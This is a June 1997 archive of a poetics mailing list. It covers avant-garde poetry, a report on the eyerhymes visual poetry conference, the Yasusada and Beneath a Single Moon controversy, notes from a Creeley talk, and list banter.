Last Thanksgiving, I went w/ some chums to a midday brunch at a local hotel restaurant -- and as we sat before plates from the buffet, I chatted with the son-in-law of one old friend. Said son-in-law happens to be a grad student in English at Yale, so -- anecdotally -- I remarked that in past years I'd applied for the Younger Poets. Gent allowed as he'd, in past years, been a READER for same. I mentioned the name of the administrative coordinator -- chap named Yee I think -- with whom I'd had some correspondence. . . . (generally related to my tendency to bend the rules anent an upper limit to the number of pages permitted in an acceptable MS -- after some word of self-explanation, Yale tended to show some flexibility on that point) --

so here I was chatting away w/ this "faceless Reader" -- who seemed nice enough. Alas, I seem to be able to salvage from the experience little Point of Advice . . . we ended up going to see the film (from your hemisphere, Wyst.) Shine. . . telling another tale of winning & losing. Saith Tagore:

What music is that in whose measure
the world is rocked?
We laugh when it beats upon the crest of life
& shriek in horror when it retreats into the dark
But the play is the same that comes & goes
to the rhythm of the endless music
You hide your treasure in the palm of your hand
and we cry that we are robbed
But open or shut your palm as you please
the gain & the loss are the same
At the game that you play with your own self
you win & lose at once

d.i.

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491. Eliza McGrand- CVA Guest

Re: hasty (haitch tee) em el

Wed 18 Jun 1997

---

the formatting for screen is done, in large measure, not by the sending web machine (as i understand this) but by the receiving machine. so, one might have a

long line which fits on one's OWN screen, thus putting <BR> at end of line effectively marks line off. but on other person's screen, one perhaps using different font size and/or font, line won't fit and will be broken.

having said that, unless one is at the extreme of long lines, or one's reader has screen set to big font, this probably wouldn't come up.

re <pre>, one is working with same recipient formatting difficulty -- on all the computers _i've_ tried this out with, <pre> set in line before text (indicating text is pre-formatted thus exact line breaks and spacing should be kept intact when formatted by recipient machine) always ends up displaying in this revolting courier font that looks like someone typed it badly, and is very difficult to read.

that, however, is MY opionion. doubtless there are a number of you who are fond of courier! and now will deliberately go and set any html document you HAVE as <pre> (and if you do, at end of document close off with </pre> to end preformatting cue) just so it will always have that hand-typed look... ah for variety... e

↑ Index

492. **Jordan Davis**
MY NAME IS OY
Wed 18 Jun 1997

It had been
my understanding that poetry
was supposed to run
ten to twenty years
ahead
of the culture
I'm runnin back to Ultravox
and Emo Phillips yall
keep
this

We need trained squads to make love to the police (no we don't)

___

And what about the idea that poets figure out which is the "correct" language game to be playing? Kinda insider=tradingish, huh?

Jordamo

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493. **robert drake**
Re: Inappropriate postings
Wed 18 Jun 1997

Wystan:
>...When we've
>finally done with these silly posts about silly posts we can I hope
>get back to silly posts, or preferably folks to real serious posts
>about, like Mainstream poetry vs radical/experimental poetry, about
>academics vs real people, about form vs content...
>

and I'm hopin those "vs"s stand fr verses rather than versus

lbd

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494. **henry ghost**
Re: MY NAME IS OY
Wed 18 Jun 1997

On Wed, 18 Jun 1997 08:53:31 -0400 Jordan Davis said:
>   It had been
>my understanding that poetry
>   was supposed to run
>   ten to twenty years
>ahead
>   of the culture

but to run like that
                sometimes it helps to plant your feet
        among the runners
    back then
                who paced the meadows
      1000 to 2000 years
ahead of u.s.

- Enrico

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495. **George Thompson**
Re: for "-eme" people
Wed 18 Jun 1997

Date: Wed, 18 Jun 1997 10:07:17 -0400
To:Tom Orange <[redacted]>
From:[redacted] (George Thompson)
Subject:Re: for "-eme" people

The original "-eme" person was a linguist, Kenneth Pike, who got tired of the positivism of earlier American linguistics, which was in his view too "etic" [i.e., it studied language without regard to meaning: contrast the terms 'phonetics' and 'phonemics']. So an emic analysis of language examines the meaning-bearing elements, at no matter what level.

So when Tom turns to "plugemes", "dream-emes", etc. he is being a linguist in the style of Kenneth Pike.

*In a certain literal sense, phonemes are the most *fundamental* unit of any text [language sequence], although sub-phonemic analysis is possible. But in another sense, I see no reason to think that any one type of analysis [or level of analysis] is more fundamental than any other. Clearly, poets will have a serious interest in phonemes and graphemes, as well as in the sub-syllabic emes that Tom is fishing around for.*

But a couple of weeks go, on another thread, there was discussion of the formula, and the examination of larger bodies of text at a much higher level than that of the isolated word. In my view there are good reasons to view this sort of analysis as just as fundamental as the phonemic one.

*So when Charles Olson determines that the syllable is "the king and pin of versification" what he means, as he goes on to say, is that the syllable "rules and holds together the lines, the larger forms, of a poem" [Selected Writings, p.17]. He begins from the syllable and looks *up* from it to the higher-level units [the words and lines and larger forms] for which the syllable is the "basic" building-block.*

*Tom on the other hand seems to have begun from the syllable and looked *down* into the sub-syllabic regions inhabited by phonemes and other microscopic creatures still waiting to be named...*

It is all a matter of where one's interest lies, not of any absolute "fundamentalism."

I suppose you could say that the most interesting poets are those who have explored all these levels. But I would guess that there are some who have more interest in one or another, rather than all. And why not?

> *George*

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496. KENT JOHNSON
non-American true-believers
Wed 18 Jun 1997

Question: When someone (as the Australian Stalinist JOHN TRANTNER or the Canadian Spartacist George Bowering have recently done) post four or five quick, witty ripostes to the list in a row, does it most likely mean that she or he has been drinking at the machine? I ask this not out of contentious desire, but out of a gnawing sense of embarrassed recognition. Thus, I humbly (or imho, imho, imho) propose that this list add a new rule to its rubric of guidelines: Anyone caught drinking behind the wheeeeeeel (the e key keeps getting stuck) will be immediately reported to the authorities in Buffalo.

Ketn (PS: Sorry if I'm whipping a dead horse, but is it a good thing or a bad thing that I can no longer read anything by G. Bowering without imaging a tall, taut, and graying Mounty (ie?) in glossy red, with ebony black boots to the knees and six-inch stiletto heels?)

↑ Index

497. KENT JOHNSON
(Fwd) "Buddhistic poetry"
Wed 18 Jun 1997

Since I plugged the BASM anthology here a few weeks back, and since there's also been some discussion on Araki Yasusada here, I thought I'd forward this, which was posted to the CAP-L group today. I've changed one unclear utterance. There may well be more that I haven't caught...I seem to always find or think of things I should have caught or said otherwise after I send and reflect. That's life. Kent

------- Forwarded Message Follows -------
From: Self <STUDENT/KJOHNSON>
To: [redacted]
Subject: "Buddhistic poetry"
Date: Wed, 18 Jun 1997 13:55:38 +0600

About a month ago there was a question on this list about the absence of Asian-American poets in _Beneath a Single Moon: Buddhism in Contemporary American Poetry_, an anthology I edited with Craig Paulenich some years back. The question referred to Walter K. Lew's introduction in his praised anthology

Premonitions, wherein our book is strongly criticized. I am still waiting to see Premonitions, and so my first look at Lew's commentary was a couple of days ago, when I saw it quoted in the current Boston Review, as part of a response by him and four other Asian-American writers to Marjorie Perloff's essay ("In Search of the Authentic Other: The Poetry of Araki Yasusada.") which appeared in the April/May issue of the BR. This particular response, part of a fascinating and varied section of brief essays on Perloff's piece, makes the claim that I am the Yasusada author and directly charges that I am an opportunist and a racist, fueled by the desire for "self-gain."

I'll say here, for what it's worth, that very few people have any real knowledge about the nature of Yasusada, and I would like to suggest that too many have jumped to conclusions about the origins, aesthetics, and motivations of this highly unusual work. Further materials are scheduled to appear, including the complete collection (with an appendix of "critical" materials) from Roof Books, and I would urge those interested in the meaningful issues provoked by the "Yasusada affair" to read carefully and reserve final judgement at least until after the book appears.

In any case, back to the question of the BASM anthology. Here is the Lew quote I wish to comment on from _Premonitions_:

"The 45 American poets whose essays and poetry on Buddhist practice comprise the anthology are all Caucasian, and the book only mentions Asians as distal teachers (ranging from Zen patriarchs to D.T.Suzuki), not as fellow members or poets of the sangha...When one considers the relative obscurity of some of the poets included in the book, one wonders how it was possible not to have known the Buddhistic poetry of such writers as [Lawson Fusao] Inada, Al Robles, Garett Kaoru Hongo, Alan Chong Lau, Patricia Ikeda, and Russell Leong... [Gary] Snyder's introduction deliberates the question--'Poetry is democratic, Zen is elite. No! Zen is democratic, poetry is elite. Which is it?"...perhaps he should have also asked whether Zen and poetry, as reconfigured in American Orientalism, are racist."

Before reading this quote, I was quite certain that we had probably missed, out of ignorance, Asian-American poets who should have been included in the anthology. But now I am not as sure. If Mr. Lew (and the other co-signers of the BR response) had carefully considered the Shambhala anthology, they would have seen that a fundamental criteria for inclusion was a serious background in Buddhist study and practice. We were not interested, in the least, in poetry exhibiting the vague and stereotypical waft of the "Buddhistic." If anything, our anthology begins to point to the fact that reductive notions of the "Buddhistic" are one of the by-products of the "Orientalism" that Mr. Lew denounces. There

is simply no way of boiling down Buddhist artistic expression to any particular "Buddhistic" characteristics of tone, content, or style.

Now, I still suspect that there are publishing Asian-American poets who would have met the criteria we established for the anthology, but their absence was certainly not due to some underlying racist criteria of selection; we simply (and perhaps to our editorial discredit) were, and are, unaware of Asian-American poets who also happen to be Buddhists. Apparently, and unfortunately, so is Mr. Lew, as I assume he would have mentioned specific names if there were any.

We are *considering* undertaking a second edition of the anthology, and would welcome any and all suggestions for new poets to include.

Kent Johnson

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498. Douglas Barbour
Re: eyerhymes in Edmonton
Wed 18 Jun 1997

Although I was on the organizing committee, I still enjoyed eyerhymes, & when it was all over I tried to get a bit of it into my journal. I hope others will report on it, as my report is undoubtedly biased from the inside. On the other hand I wasnt a major figure on the committee, & it was really Jars Balan & Peter Bartl who made it the success everyone seemed to think it was. Still for those of you who werent there, here are some notes on what happened.

Not to go beyond the obvious about eyerhymes: that Jars Balan was the moving force, & did most of the work, & Peter Bartl also did a lot, as did the various students & support staff over in Art & Design, including Sue Coberg. I just had to be there, & pick up a few people at the airport, & enjoy myself & moderate a few sessions. Anyway, it began well & went well, & apparently most of the participants thought it went very well; was well organized (it always looks more chaotic from the inside, I guess). And there was a lot of good stuff during the weekend. It began officially on Thursday afternoon (the 12th): Stephen Scobie had come in in the afternoon & I had picked him up along with two others, Dave Baptiste Chirot & Eduardo Kac. Fred Wah had come in the night before to set up the paintings he had collaborated on wth artist Bev Tosh. eyerhymes began with the opening of the first of 3 exhibitions, the Wordsounz & Eye Rhymes: visual poetry and artist books that John Charles organized at the Bruce Peel Special Collections library. Then early in the evening Dick Higgins gave the keynote address. A rambling & wide ranging trip through the history & present situation of pattern poetry with slides, it was charming & delightful, not least because he is such an obsessive, a man possessed by his interest. And there is something winning about such obsessions when they are ones you appreciate.

We then moved down the HUB Mall to the FAB Gallery for the opening of ImageNations: an exhibition of visual poetry from around the world. Some great stuff, & then three readings, beginning with Bob Cobbing, who although aging still has his chops & uses his great voice wonderfully. Clemente Padin from Uruguay, with the help of a translator, did a set of conceptual works, acting out instructions, sounding some things, & generally playing a humorous game with linguistic concepts. He finished with a choral work for the audience, sounding various vowels loud & soft, which evryone got into. Mykola Miroshnechenko, of Ukraine, gave a much quieter & more traditional reading, but a fascinating one in its way. Interestingly, the large contingent from Ukraine, which was featured on Saturday, tended to stay apart, which can be understood because of language difficulties, but some of the others at the residence were sorry about it. Friday set the tone for the conference as a whole. It was Canada day. On Wednesday evening, when I had brought Bob Cobbing into the college, I met a bunch of grad students, including Peter Jaeger from Western & others & they asked if we had a copy of Sons of Captain Poetry & if so could I arrange a showing. Well, I hadnt thought of it, but it was a great idea, so I checked it out the next morning & was able to arrange a showing on Friday at noon (later at 1130 since Fred's reading was not an hour long). Anyway, the first set of papers included an interesting one on Robert Zend's work by Stephen Cain; Darren-Wershler-Henry & Christian Bök doing a stereo presentation on both panels of Steve McCaffery's Carnival. Brilliant & a tour de force, which we came to associate with them. Craig Saper, from the University of Pennsylvania, gave a paper on the Assembling Movement in Canada in the 1970s. Fred then performed the new poems he had written to/for Bev Tosh's paintings, while she performed a kind of movement as a white 'puppet' figure against the projections of her paintings. Theyd never done it before but it was terrific, & everybody loved it, from the response. Having chaired that, I also chaired the session on bp after lunch. But first we showed the bp film. I hadnt seen it for a long time, but the students werent the only ones who had had never seen it, so everyone stayed to watch. Dick Higgins, who knew barrie well, had never seen it. The ending, which I had forgotten, was bp singing his elegy for Hugo Ball then climbing back out through the broken windows. But now that elegy is self-referential, & I was in tears, & not alone in that. But there were also all his comments on poetics, which even at that young age were so right, so on, & still so ignored by so many. Almost everyone I talked to was glad I had shown it, so I think it was one of those things that only we could have done & that helped to define the conference. Then the papers on bp seemed to flow right on from that. Peter Jaeger, who just finished his PhD on bp, did a good job of exploring what goes on in ABC. And Graham Sharpe, who's doing his MA on Ganglia/grOnk Press, told us a great deal about the archive at Simon Fraser, & what he's finding there, & how it helps define exactly what the press, barrie's own wee effort, did. After

the break, Marvin Sackner, another true obsessive, explained at great length but with winning charm, how he's slowly creating a new multimedia database for the Ruth and Marvin Sackner Archive of concrete and visual poetry. It's something all right. Stephen introduced Darren & Christian for a reading. Christian has memorized a lot of the dada classics & did a few; he also read/performed from Crystallography & an amazing new work in which he is writing five separate pieces in which all the words therein use only words with the saem vowel, from a through u. More tours de force. Darren was quieter, but read some fine pieces from Nicholodeon, & a new piece which was very witty & intelligent. And we thought, boy these youngsters are really challenging us. Then down to the final opening, at Latitude 53, of Cantextualities: Contemporary Canadian Visual Poetry. Some wonderful stuff in the show. Performances included W. Mark Sutherland. from Toronto, who can do a lot with his voice, although he was apparently 'freaked out' because he's used to working with a mike, & there wasnt one in that small space. He had some incredible sounds anyway, & some nifty pieces. But the gallery was incredibly hot, & close. Re: Sounding was next, & seemed to go over well. Paul Dutton went last & he has some incredible pieces, & blew everyone away. So it was a good evening of sound, even if we were all sweating like pigs. Saturday was on the visual poetry of eastern Europe, where there is a long tradition of pattern poetry. We attended the first set of talks, & they were interesting, & they did introduce us to a lot of work going on over there. After supper, some of the poets showed us their work: one of the heroines of Austrian concrete/sound, Elizabeth Netzkowa read & had read some of her work, & played taped of some other, very moody, elegiac, but quite powerful; & she, in her quiet dignity, was impressive. & Bodyvoice, an improv dance group to which one of my poetry students belongs, did a short & quite powerful group dance, Untying My Tongue. Sunday was the longest day of all & we stayed through it all. The rest of the world was brought in. Brian Reed of Stanford started out with a very intelligent look at John Ashbery's 'Litany' & resistance to Visual Poetry in the American Academy. I was chairing this session too, & it was a delight to do so. Stephen then read from his chapter on Finlay in his forthcoming book on visual poetry etc. Very solid, very interesting. Francis Edline showed a number of slides inttoducing us to the work of Finlay's & Timm Ulrich's visual poetry: another overview, but very helpful with the pictures. At the next session, Klaus Groh struggled with his english to introduce us to some traditions which back up his own work. He was charming & came up with one term, a neologism, many of us immediately loved: 'trace-catching.' He also said "an art work is like a battery," although I didnt quite follow how it was in his talk. Craig Dworkin gave a superbly intelligent talk on "The Use of Overprinting Considered in Terms of Information Theory and Post-Structural Linguistics," with some transparencies & basically from notes: another impressive young grad student. In the early afternoon, Bohdan

Nebesio talked about intertitles in silent cinema, Clement Padin used his own work to try to come to some views of a rhetoric of visual poetry. Jesper Olsson of Sweden, another grad student, told us a lot about the concrete poetry scene in Sweden in the 50s & 60s; background that helped fill in a missing history, nicely done. Late afternoon, Adele J. Haft, who is a classical scholar now interested in map-poems, introduced us to them & asked for more; many had some to tell her about. Claus Clüver of Indiana talked about what he called Kinetic poetry, poetry that moves & moves its audience in participation. Johanna Drucker spoke very wittily about the ways much concrete poetry used letters differently than she does in her The Word Made Flesh, her wearing of weird glasses & general stance & delivery turned her lecture into a performance. Great fun, & provocative. We'd been at it since 0830, but there was another session before supper: Willard Bohn on Jose Juah Tablada's visual poems. AN intriguing introduction to someone I had never heard of. And Owen Smith told us about Fluxus by performing a number of Fluxus pieces, & well too. After supper, Dave Baptiste Chirot rambled most intelligently about two of his influences, Kruchonyk & Robert Grenier, with very interesting references to wcwilliams's poetics. John White of U of London had some very interesting things to say about 'indexical signs in futurist poetry, much of which apparently agrees with Stephen's interpretations in his book. We were by this time tired but stayed around for a couple of creative presentations. Jan Davis of Australia showed a series of slides of her collection of artist books on the Solomon Islands, which were beautiful & more, but in which she didnt seem to come to grips with some of the political problematics she seemed aware of in her talk. Johanna Bartl of Germany opened a collection of boxes & laid out their changing contents, but as she kept going around all ten to put all back in different orders (same boxes). But got up & went to the last sessions this morning; on computer art/poetry, holopoetry, & visual poetics & innovative communication technology, by Patrick-Henri Burgaud, who showed us videos of his computer art, which was very colorful & delightful, Eduardo Kak, who has been doing holographic poetry for more than a decade now, some of it deliberately meant to offer each eye slightly different views of letters etc., & Eric Vos, who knows the contemporary technology scene & its possibilities very well. Then the last session by two people into artist books & collecting. Martha Carothers talked about signs, & capital letters, what she called visual essays. She quoted a satire of dumbing down from 1951 that actually did sound very contemporary. Then Judith Hoffberg, of Umbrella Editions in California, & a real fan of all this stuff & a hustler of great charm, who I had enjoyed talked to throughout the conference, although I didnt really know her, but she seemed to know many of the people there, & was obviously a longtime friend of Higgins, enthused about three artists she admires for breaking away from the norm. Such enthusiasm was a great way to end the official part of the conference. We all went off to the

Faculty Club for lunch, & some talk after about possibly setting up an association or at least trying to arrange another conference in a few years. Jars was left to follow some ideas up & help us all keep in touch.

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

> >ahead
> > of the culture
>
> but to run like that
> sometimes it helps to plant your feet
> among the runners
> back then
> who paced the meadows
> 1000 to 2000 years
> ahead of u.s.
> I love the facials at Elizabeth Arden
but only God
  can make a
  classicism

-Jaglom

↑ Index

501. **ghost**

Re: MY NAME IS OY

Wed 18 Jun 1997

On Wed, 18 Jun 1997 10:56:09 -0400 Jordan Davis said:
>> > It had been
>> >my understanding that poetry
>> > was supposed to run
>> > ten to twenty years
>> >ahead
>> > of the culture
>>
>> but to run like that
>> sometimes it helps to plant your feet
>> among the runners
>> back then
>> who paced the meadows
>> 1000 to 2000 years
>> ahead of u.s.
>> I love the facials at Elizabeth Arden
>but only God
> can make a
> classicism

the Pope hath spoken (experience
the Rape
of the Lock (crossing
the Jordan)

- Hagoo

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502. Poetics List
Eigner Passages
Wed 18 Jun 1997

Announcing publication of PASSAGES 5

in memory of Larry Eigner

contributors include: Steve Luttrell, Dodie Bellamy, Steve Benson, Joanne Kyger, Lawrence Upton, Belle Gironda, George Albon, Andy Levy, Deborah Goudreault, Stephen Ronan, Lee Ann Brown-Laynie Browne-Douglas Rothschild-Anselm Berrigan-Lisa Jarnot-Bill Luoma-Drew Gardner ("the Optionists"), Nancy Dunlop, Jack Foley, Kit Robinson, Robert Grenier, Charles Bernstein, Avery E.D. Burns, Dorothy Jesse Beagle, David Baptiste Chirot, Jack Collom, Bob Harrison, Ben Friedlander, Larry Eigner (includes previously unpublished material).

Available July 1 (print), September 1 (electronic -- with links to other WWW Eigner material)

price and snail-mail address t.b.a.

http:///writing.upenn.edu/epc/ezines/passages
[redacted]

co-edited by Ben Friedlander and Chris Funkhouser

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503. Jordan Davis
Re: MY NAME IS OY
Wed 18 Jun 1997

> >> > It had been
> >> >my understanding that poetry
> >> > was supposed to run
> >> > ten to twenty years
> >> >ahead
> >> > of the culture
> >>

> >> but to run like that
> >> sometimes it helps to plant your feet
> >> among the runners
> >> back then
> >> who paced the meadows
> >> 1000 to 2000 years
> >> ahead of u.s.
> >> I love the facials at Elizabeth Arden
> >but only God
> > can make a
> > classicism
>
> the Pope hath spoken (experience
> the Rape
> of the Lock (crossing
> the Jordan)
>
There ought to be a law against it, Henry.
Mr. Bones, there is

--G Herbert

↑ Index

504. Tom Orange
for "-eme" people
Wed 18 Jun 1997

On Wed, 18 Jun 1997, George Thompson wrote:

> *The original "-eme" person was a linguist, Kenneth Pike, who got tired of the positivism of earlier American linguistics, which was in his view too "etic" [i.e., it studied language without regard to meaning: contrast the terms 'phonetics' and 'phonemics']. So an emic analysis of language examines the meaning-bearing elements, at no matter what level.*

too much etic, not enough emic, makes fer anemic emes. maybe requires an emetic, a poemetics (...urp!...)

> *Tom on the other hand seems to have begun from the syllable and looked *down* into the sub-syllabic regions inhabited by phonemes and other microscopic creatures still waiting to be named...*
>
> *It is all a matter of where one's interest lies, not of any absolute "fundamentalism."*
>
> *I suppose you could say that the most interesting poets are those who have*

> *explored all these levels. But I would guess that there are some who have more interest in one or another, rather than all. And why not?*

at the same time i was musing on olson's "projective verse" i was also reading michelle leggot's take on the opening of zukofsky's "a"-22

AN ERA
ANY TIME
OF YEAR

here's a whole field of microscopic creatures which, with their proximate latin roots, spread out over the whole 1000 lines of "a"-22. (cf. "reading zukofsky's _80 flowers_" esp. pp. 34-52)

cheers,
t.

↑ Index

505. Tom Orange
running back to ultravox
Wed 18 Jun 1997

---

so we drink and sink
and talk and stalk with
interchangeable enemies and friends
trying on each others' precious skins
while we're dying to be born again
--"artifical life" (1977)

↑ Index

506. Pritchett,Pat
Re: This Is A Plug
Wed 18 Jun 1997

Poems of mine will be appearing shortly in the following:

Prairie Schooner (old, non-innovative stuff)

River City
} New stuff
Mirage

Patrick Pritchett

↑ Index

507. **David Israel**
Re: MY NAME IS OY / a sidebranch
Wed 18 Jun 1997

Jordon Davis keyed:
> It had been my understanding that poetry
> was supposed to run
> ten to twenty years ahead
> of the culture

it had been my under
standing that poetry
was suppsed to be
the culture
but when they
parted company did they
part ways?
or did poetry just race ahead?
a progressivist theory
(contra nostalgicism)
a faster-vaster jogger
a quicker city-slicker
if it's circular then po could lag way behind
& come out ahead or race way ahead
& end up at end
but if the culture went zig
& poetry went zag
the culture
kept zigging
the poets
kept zazzing
the culture was jigging
the poets were jagging
they might soom be spiraling
in counter concentricies
or else
something else
else again
again

> *I'm runnin back to Ultravox*

who's that?

d.i.

↑ Index

508. John E. Matthias
ND Review
Wed 18 Jun 1997

The summer issue of _Notre Dame Review_ has now been published. Contributors include Robert Archambeau, Susan Bergman, Eavan Boland, Robert Boyers, Richard Burns, Esther Cohen, Catherine Daly, Beth Ann Fennelly, Barry Goldensohn, Janet Holmes, David Hoppe, Colette Inez, Suzanne Paola, John Peck, Michael Schneider, Barry Silesky, R.D. Skillings, John Howland Spyker, and Maura Stanton.

Of particular interest to people on the list will be Richard Burns' memoir about living with Peter Russell in Venice in the 1960s at the period when Russell was publishing the early and influential Poundian journal _Nine_ and beginning to write his "Elegies of Quintilius." Also Robert Archambeau's article "Another Ireland" dealing with the work of Billy Mills, Randolph Healy, and Trevor Joyce. (The second part of this piece will appear in #5 and deal with Geoffrey Squires, Maurice Scully, and Catherine Walsh.)

Coming up in the next issue will be a major long poem by Robert Creeley, "Histoire de Florida," along with substantial excerpts from John Montague's poem in progress, "Conversations with David Jones."

Notre Dame Review is published bi-annually. Subscriptions: $15 (individuals) or $20 (institutions) per year. Single copy price: $8. Sample copies: $6 each. Write to _Notre Dame Review_, Dept. of English, University of Notre Dame, Notre Dame, IN 46556.

Selections from the first two issues of _NDR_ can be visited on our website: http://www.nd.edu/~english/ndr/ndr./htm

John Matthias

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509. George Bowering
Re: Inappropriate postings
Wed 18 Jun 1997

> *I wasn't going to add any more pointless posts, but the beating Jay received makes me also want to let him know, as well as his enemies, that I agree with his position. The excessive silliness of many of these posts keeps me from being any more active on the board, as Mark Presjnar seems to feel as well. Thanks Jay and sorry for the heat.*
>
> *Standard Schaefer*

I could not agree more. And now I understand fully what Jay was trying to suggest when he walked in here last Tuesday, completely naked and with a crow on his shoulder. More power to you, Jay!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

510. George Bowering
Re: ms. non-provocateur
Wed 18 Jun 1997

> *I'm not familar with Sylvia Fraser. She sounds interesting. Who is she? Where's her work available?*
>
> *Dodie*

She is a former beauty queen from Hamilton who has for 30 years been writing mushy pop novels and trying to get called "an artist." A few years ago she published one of those recovered-memory-incest books. It was not well received. I havent read it, but my mate Angela did and said that it was pretty bad writing.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

511. George Bowering
Re: syllable. king and pin of versification.
Wed 18 Jun 1997

> *bob grumman mentions:*
> *jwcurry has a one-LETTER poem in which he replaces the dot of an i with a finger-print...*

I recall a poem by Aram Saroyan (I think) that was a sort-of one-letter poem. It was an m with one extra bump.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

512. George Bowering
Re: jwcurry, sondheim, kdawn
Wed 18 Jun 1997

>this isn't acker's world baby.
 said this "Kim Dawn"

What the heck is a world baby?

Is that, like, a moon?

Is that, like, the offSPRING of an earth mother?

Is that something they know about in London, Ontario?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

513. George Bowering
Re: jwcurry, sondheim, kdawn,& Spicer
Wed 18 Jun 1997

Kevin!

That is great news about the Spicertome being finished. And also Gizzi's book being done too; what a Spicerspring that is going to be. I sent Peter some colour snaps I took of him standing in front of the window of the room in which Jack gave those lectures. Oh the world goes so damned fast it's slow.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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514. **N. Dhillon**
Journey - Manuscript
Wed 18 Jun 1997

I have recently completed a poetry manuscript and have temporarily placed it online at http://home1.gte.net/dhillos/journey . I would greatly appreciate any comments or feedback you may have on either the text itself, its presentation, or on what to do with it.

This current online version requires that you have a frames-compliant browser (>Net2.0 or MSIE2.0). Please let me know if there are any formatting issues as well.

Thanks and best regards,
Navdeep

(Please cc: me @ [redacted] as I'm on the digest version)

↑ Index

515. **Bob Grumman**
Re: syllable. king and pin of versification.
Wed 18 Jun 1997

Yes, Aram Saroyan *did* do the one-letter poem with the m with an extra leg that George Bowering mentions. It even made one edition of the Guinness Book of Records as the world's shortest poem!

--Bob G.

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516. **Pritchett,Pat**
Re: News from Naropa
Wed 18 Jun 1997

Thanks to quick notice from Anselm Hollo, I had the opportunity today to attend a talk given by Robert Creeley under the Big Tent on the Naropa lawn. (Further

thanks to Steven & Judy Taylor who loaned me the 3 bucks to get in - somehow I'd thought it was free!) I doubt I'll post many such reports from the Naropa Summer Program but I thought the List might be interested in some brief notes made from this particular talk by the cher maitre. It was on Origins.

(Program Notes: Rather hot inside the Tent. Scapulas and drifting cottonweed everywhere. Anselm and Creeley stroll up, Anselm sporting a nifty panama hat. At my right, Steven Taylor dabs at a string quartet & voice arrangement for Allen Ginsberg's harmonium scoring of one of Blake's "Songs of Innocence." "It's beautiful. The best thing he ever did," confides ST. Also present, besides the usual suspects, Aldon Nielsen, toting camera).

Creeley begins by discussing the two poets he was most attracted to in Conrad Aiken's anthology of American Poetry: E.A. Robinson and Marsden Hartley. In particular in Robinson he was drawn to "the tacit Maine sense that the world can never be resolved humanly." Robinson, he says, is "a great poet of depending" i.e. his work bristles with "or if" and "and if." He then reads from "Man Against The Sky," interrupting finally with "let's skip to the chase... you can tell the absolute concentration with which I've prepared for this." The poem closes on a grand, mordant, give-it-up/all is lost note. Creeley: "He doesn't see much hope. Again, a dispostion of that part of the country."

He relates a bit of Robinson's personal history: His father was a failure in business. His brothers - one a doctor, the other a businessman - were addicted to drugs and booze, respectively. Meanwhile, Robinson tried to pursue his "vocation" as a poet. RC: "Only someone in such a situation could consider poetry a *vocation.*" Then a reading, beautifully, "Eros Turannos." "I was drawn to poets who had worked through the crisis of person."

The first time Creeley ever formally declared himself as poet was in a SFPD line up - he'd been picked up on a grand vagrancy charge. "And what do you do for a living Robert?" "I'm a poet." Kerouac was later incensed he'd spent the weekend in jail. "Why didn't you tell them you have a book in the library?" RC: "Because I don't."

Then a reading from Parts 1 & 3 of Hart Crane's "For the Marriage of Helen & Faustus." ("Capped arbiter of beauty...") "It's as if," RC sez, "here in America we have to make ourselves up."

Re: Robert Frost - "I did not trust him. I just didn't." Once he and Ginsberg were looking through an old photo book of poets. Allen had drawn a Hitler mustache on Frost's photo. Sd RC: 'Why did we hate him so much?"

Then a reading from Henry Vaughan's "I saw Eternity the other night..." RC: "Vaughan had a curious ability to wait and pace." And he spoke of his regard for Wyatt and, not surprisingly, Campion.

After that, I had to leave, alas. Maybe Aldon, if he has any time (which I doubt very much he does) can close these inchoate observations.

Patrick Pritchett

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517. **David Bromige**
Warning label: do not open if easily offended by silliness
Wed 18 Jun 1997

Well, Bowering certainly came back with a bang.Didn't know he had it in him. What does it signify, being naked with a crow on the shoulder? Can one ask, on which *side* this crow is perched? Actually, this posting isnt particuarly silly. Bu it _might_ have been. The intention was there, but the impulse flagged. And there are those who will never know they passed up a non-silly, thoroughly tedious posting. Alack aday. D.

↑ Index

518. **Jay Schwartz**
Re: Warning label: do not open if easily offended by silliness
Wed 18 Jun 1997

It wasn't my shoulder the crow was perched on.

↑ Index

519. **Wystan Curnow**
Re: hello poetics!
Wed 18 Jun 1997

Dear Bennett, This is a subject that interests me. Have you looked at Lawrence Weiner? He appears in one of the L= anthologies. There's a strange statement of his in Dieter Schwarz's catalogue raisonne of W's books 'Literature is an attempt to portray within the context of a narrative or non-narrative structure the relationships of human beings to human beings, and art isthe relationship of human beings to objects, that' simple enough (sic!). Poetry essentially is something that is not translatable; its possible to get an approximate translation, it's made not to be translated, its made to have the beauty and the form and the sens of the language itself, and my work is designed initially to be translated, either into physical form or into languages, and that's enough of a difference for me. Literature is essentially about a subjective reality, and art is essentially about an objective reality.' Its from an interview with Schwarz of 1989. It is interesting less for what it claims about literature and poetry, than as an apology (why I am not a poet) for his own practices which in terms of the

making words ' material ' are clearly larger than those of any other so-called conceptual artist. At least for the sake of argument, I'm not convinced by W's defence. Indeed, I'd like to see how the texts of Weiner, and say Hamish Fulton, Richard Long, David Tremlett (the Brit. backpacker poets) not to mention , Jenny Holzer etc etc would survive the 'test of poetry'. What thoughts? Wystan

↑ Index

520. **Stephen C. Ellwood**
Re: MY NAME IS OY
Wed 18 Jun 1997

ARE YOU PEOPLE MAKING FUN OF ME? IF SO I DON'T GET IT. ARE YOU MAKING FUN OF MY MIDDLE NAME? VEY? OR IS THIS POEM SOMEHOW A RESPONSE TO MY WORK? SHOULD I GO TO ANOTHER MAILING LIST FOR JUICIER, MORE CHEAP- / COSTLY-THRILLS-STYLE CORRESPONDANCE? IF SO, ANY SUGGESTIONS? I AM SO SAD AND UNCELEBRATED IT FEELS LIKE A FUCKING VIRUS. I WANT ACTION....

↑ Index

521. **David Bromige**
Rated G
Wed 18 Jun 1997

